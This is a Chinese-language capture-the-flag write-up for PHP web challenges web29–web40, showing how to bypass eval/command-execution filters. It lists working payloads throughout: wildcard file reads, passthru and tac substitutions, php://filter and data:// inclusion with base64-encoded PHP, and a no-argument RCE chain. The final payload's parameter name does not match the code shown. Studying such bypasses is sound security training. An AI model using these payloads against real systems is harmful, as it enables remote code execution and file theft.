web29
过滤了flag,可以使用通配符绕过:
?c=system("cat f*");
web30
过滤了system|flag
,用一个代替``system`的函数即可:
?c=passthru("cat f*");
web31
过滤了system|cat|flag|空格
,用其它命令代替cat和其他编码绕过空格即可:
?c=passthru("tac%09f*");
web32
在前面的基础上,过滤了括号,但没过滤双引号:
小知识点:include不用括号,分号可以用?>
代替。
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web33~36
过滤了引号等:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
这里用了PHP文件包含函数include(),可以利用伪协议读flag。
data://
,类似php://input
,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://
流会被当作PHP文件执行。
?c=data://text/plain,<?php system("cat f*");
web38
在web37的基础上,过滤了PHP,利用base64进行绕过:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs=
web39
在38的基础上,采用了拼接,在包含的字符串后加上了.php
后缀:
?c=data://text/plain,<?php system('cat f*');?>
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里过滤了引号、美元符号、冒号,连为协议也不行了,构造无参数函数进行文件读取。
这里要学习一下无参数RCE(remote command/code execute)–>hrer。
array_reverse():以相反的元素顺序返回数组。
show_source()是highlight_file()的别名。
构造payload:
?C=show_source(next(array_reverse(scandir(current(localeconv())))));